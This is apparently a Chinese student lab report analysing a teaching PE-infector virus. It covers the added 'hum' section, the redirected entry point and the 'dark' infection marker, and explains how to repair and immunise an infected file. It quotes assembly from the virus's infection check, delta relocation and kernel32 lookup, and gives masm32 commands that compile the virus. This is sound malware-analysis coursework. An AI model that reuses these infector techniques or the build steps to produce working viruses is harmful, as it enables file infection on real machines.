实验3
一、分析感染后的可执行程序
1.分析节表相关项
![image-20210507160904650](https://i.loli.net/2021/05/07/DkWK1gviJzyIo9O.png)
感染后的程序包括4个节,这个可以从映像文件头结构的3-4字节这两个字节即0x0004得到
或者通过节表的名字来判断,如图所示共有text、radta、data、hum共四个节表
或者通过PEview等软件来查看
节表部分前三个节没有变化,只是增加了第四个节
hum节表的节表属性为0xE0000020,0xE0000000=0x60000000+0x80000000,即可写(0x80000000)和可执行(0x60000000),0x20为可读
上表为节表的一些属性对应的值,参考博客PE文件格式---节和节表 - 地势坤 - 博客园 (cnblogs.com)
PE程序的入口地址从0x401000被变为0x4042DC,0x4000对应0xA00,再加上0x2DC即为0xCDC,为病毒程序的汇编代码入口
2.分析病毒是否反复感染同一文件
;在modipe.asm中
cmp word ptr [esi],'ZM'
jne CouldNotInfect
add esi,[esi+3ch]
cmp word ptr [esi],'EP'
jne CouldNotInfect
cmp dword ptr [esi+8],'dark' ;比较在特定位置是否有dark
je CouldNotInfect ;跳转的函数在main-new.asm中
;在main-new.asm中
CouldNotInfect:
lea eax,[ebp+u32]
push eax
call dword ptr [ebp+aLoadLibrary]
test eax,eax
jnz @g12
@g12:
lea EDX,[EBP+sMessageBoxA]
push edx
push eax
mov eax,dword ptr [ebp+aGetProcAddress]
call eax
mov [ebp+aMessageBoxA],eax
push 10040h
call No_caption
db "没有感染!",0
No_caption:
call _tips
db "本程序仅感染本目录下未被感染过的test.exe程序。",0
_tips:
push 0
call [ebp+aMessageBoxA]
在在modipe.asm中会通过cmp比较文件中是否有“dark”字符串来判断文件是否被感染,如果有dark的话就会跳转到CouldNotInfect函数,弹出弹窗“本程序仅感染本目录下未被感染过的test.exe程序”,但是增加文件大小还是会执行,文件会增大4kb的0x00
_where:
xor eax,eax ;判断是否是已经附加感染标志 'dark'
push eax
call [ebp+aGetModuleHandle];获得本启动(或HOST)程序的加载模块
mov esi,eax
add esi,[esi+3ch] ; esi->程序本身的Pe_header
cmp dword ptr [esi+8],'dark';判断是已经正在运行的HOST程序,还是启动程序?
je jmp_oep ;是HOST程序,控制权交给HOST
jmp _xit ;调用启动程序的退出部分语句
jmp_oep:
add eax,[ebp+oldEip]
jmp eax ;跳到宿主程序的入口点
在这个函数中也判断了dark,cmp如果相等ZF位置1,否则置0,而je只有在ZF=1则跳转
在文件中判断过程如图所示
二、分析源程序main.asm
1.分析重定位相关代码
_delta:
pop ebp ;得到delta地址
sub ebp,offset _delta ;以便于后面变量重定位
mov dword ptr [ebp+appBase],ebp
mov eax,[esp] ;返回地址
xor edx,edx
存储相应偏差位移量的寄存器是ebp。
首先得到ebp指针(即调用函数的地址),也是delta在程序执行时的实际偏移,然后减掉代码头到delta的偏移从而得到偏差位移量,然后存到ebp+appBase对应的地址(一个4字节的空间),appBase在s_api.asm中定义为
appBase dd ?
2.分析kernel32.dll
getK32Base:
dec eax ;逐字节比较验证,速度比较慢,不过功能一样
mov ax,0;低16为0
mov dx,word ptr [eax+IMAGE_DOS_HEADER.e_lfanew] ;就是ecx+3ch
test dx,0f000h ;Dos Header+stub不可能太大,超过4096byte
jnz getK32Base ;加速检验,下一个
cmp eax,dword ptr [eax+edx+IMAGE_NT_HEADERS.OptionalHeader.ImageBase]
jnz getK32Base ;看Image_Base值是否等于ecx即模块起始值
mov [ebp+k32Base],eax ;如果是,就认为找到kernel32的模块装入地址
lea edi,[ebp+aGetModuleHandle] ;edi指向API函数地址存放位置
lea esi,[ebp+lpApiAddrs] ;esi指向API函数名字串偏移地址(此地址需重定位)
jnz为ZF=0则跳转,test判断0x3c的位置是否为0x00f0,不一致则继续循环,再cmp判断Image_Base值,不等就继续循环执行getK32Base直到相等为止,装载装在eax中,然后存到ebp+k32Base对应的地址
kernel32.dll的0x3c处的值为0x00F0
三、修复程序
思路:将感染程序的入口改为原来的入口,即0x401000,将节表数改为0x03,然后将hum节表置为全0,将病毒代码置为全0或者删掉,保留dark这样感染程序就会认为此程序已经被感染从而实现免疫
入口位置的偏移即0x1000可以通过text节表中的virtualAddress得到(text节表的12-16字节)
修改0xB6的位置值为0x03(节表数),修改0xD8的位置值为0x1000(首条指令地址),将0x220的节表全置为0(多修改了8字节,并不影响结果)
将原先的病毒代码全部置0
运行,程序恢复正常,在win10上运行正常,但不能在XP中运行
运行感染程序,感染程序认为没有目标去感染,实现免疫,直接删掉0xA00后的内容也是成功的
大小为3KB与原文件一致,文件链接,提取码:kqn2
四、编译asm方法
需要先修改头文件,头文件的位置要根据自己安装的masm32的位置,比如说我安装的位置就是
D:\masm32
include D:\masm32\include\windows.inc
include D:\masm32\include\comctl32.inc
includelib D:\masm32\lib\comctl32.lib
运行以下指令编译成exe文件
ml /c /coff main-new.asm
link /subsystem:windows /section:.text,RWE main-new.obj /section:.text,RWE
是一个正常的病毒感染程序,可以在X64环境下运行
五、在XP中运行
在XP中不可以运行的原因是文件中的size of image的值被病毒程序增加了0x1000
将0x5000改回0x4000即可以在XP中正常运行
原因是增加了hum节,hum节在内存中存了0x1000(实际上只有没有这么多的内容)